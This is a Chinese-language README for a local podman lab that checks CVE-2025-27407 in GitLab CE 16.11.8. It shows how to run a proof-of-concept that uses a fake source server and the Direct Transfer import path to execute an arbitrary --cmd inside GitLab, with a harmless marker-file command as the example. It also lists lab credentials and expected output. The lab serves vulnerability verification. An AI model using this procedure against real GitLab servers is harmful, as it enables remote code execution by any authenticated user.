用于验证 GitLab Direct Transfer HTTP 路径可达脆弱 graphql-ruby 内省模式加载器的最小本地实验室。该实验室运行一个易受攻击的 GitLab CE 容器;PoC 脚本仅在测试时在进程中启动其伪造的 GitLab 源服务器。
仅对您拥有或明确授权测试的系统运行此操作。
| 文件 | 目的 |
|---|---|
lab.sh | 启动、等待、验证并清理 GitLab 实验室。 |
poc_host_port_cmd.py | 一次性 PoC:伪造源服务器 + GitLab 登录/配置/导入触发器。 |
podman 的 Linux 主机curl默认值:
端口 8080 是脚本的默认端口。如果该端口已被占用,请按如下所示使用 18080。
cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py
GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up
在以下地址打开 GitLab:
http://127.0.0.1:18080
登录凭据:
root / Cve27407Password!
root 只是默认的实验室用户。PoC 触发器不需要管理员账户;任何能够创建/导入到目标命名空间的已认证用户都可以命中易受攻击的 Direct Transfer 路径。使用 --username 和 --password 以非管理员用户进行测试。
MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"
./poc_host_port_cmd.py \
--host 127.0.0.1 \
--port 18080 \
--listen-port 8001 \
--wait-seconds 120 \
--cmd "touch $MARKER"
MARKER="$MARKER" ./lab.sh verify
预期的信号:
[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container
8080 端口被占用,则在运行 ./lab.sh up 时使用 GITLAB_HTTP_PORT=18080。--listen-port 改为未使用的端口。--wait-seconds 或重新运行 MARKER="$MARKER" ./lab.sh verify。GITLAB_HTTP_PORT=18080 ./lab.sh wait。./lab.sh cleanup 然后重新开始。./lab.sh cleanup
这将移除 GitLab 容器、任何来自旧版实验室的遗留伪造源容器以及实验室网络。它不会移除已下载的 Podman 镜像。
| 项目 | 默认值 |
|---|
| GitLab 镜像 | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
| GitLab 容器 | cve-27407-gitlab |
| Podman 网络 | cve-2025-27407-net |
| GitLab root 用户 | root |
| GitLab root 密码 | Cve27407Password! |
| 标记文件 | /tmp/cve_2025_27407_gitlab_marker |
| 选项 | 目的 | 默认值 |
|---|
--host | 目标 GitLab 主机 | 必需 |
--port | 目标 GitLab HTTP 端口 | 必需 |
--cmd | 在 GitLab 运行时中执行的命令 | touch /tmp/cve_2025_27407_gitlab_marker |
--listen-port | 本地伪造源服务器端口 | 8001 |
--wait-seconds | 保持伪造源存活以等待异步 GitLab 工作线程的时间 | 90 |
--username | GitLab 用户名 | root |
--password | GitLab 密码 | Cve27407Password! |
| 变量 | 目的 | 默认值 |
|---|
GITLAB_HTTP_PORT | 主机/容器的 GitLab HTTP 端口 | 8080 |
GITLAB_SSH_PORT | 主机的 GitLab SSH 端口 | 2224 |
GITLAB_ROOT_PASSWORD | 初始 root 密码 | Cve27407Password! |
GITLAB_IMAGE | 要运行的 GitLab 镜像 | docker.io/gitlab/gitlab-ce:16.11.8-ce.0 |
NETWORK | Podman 网络名称 | cve-2025-27407-net |
MARKER | 在 GitLab 容器内检查的文件 | /tmp/cve_2025_27407_gitlab_marker |
TIMEOUT_SECONDS | 就绪等待超时时间 | 1200 |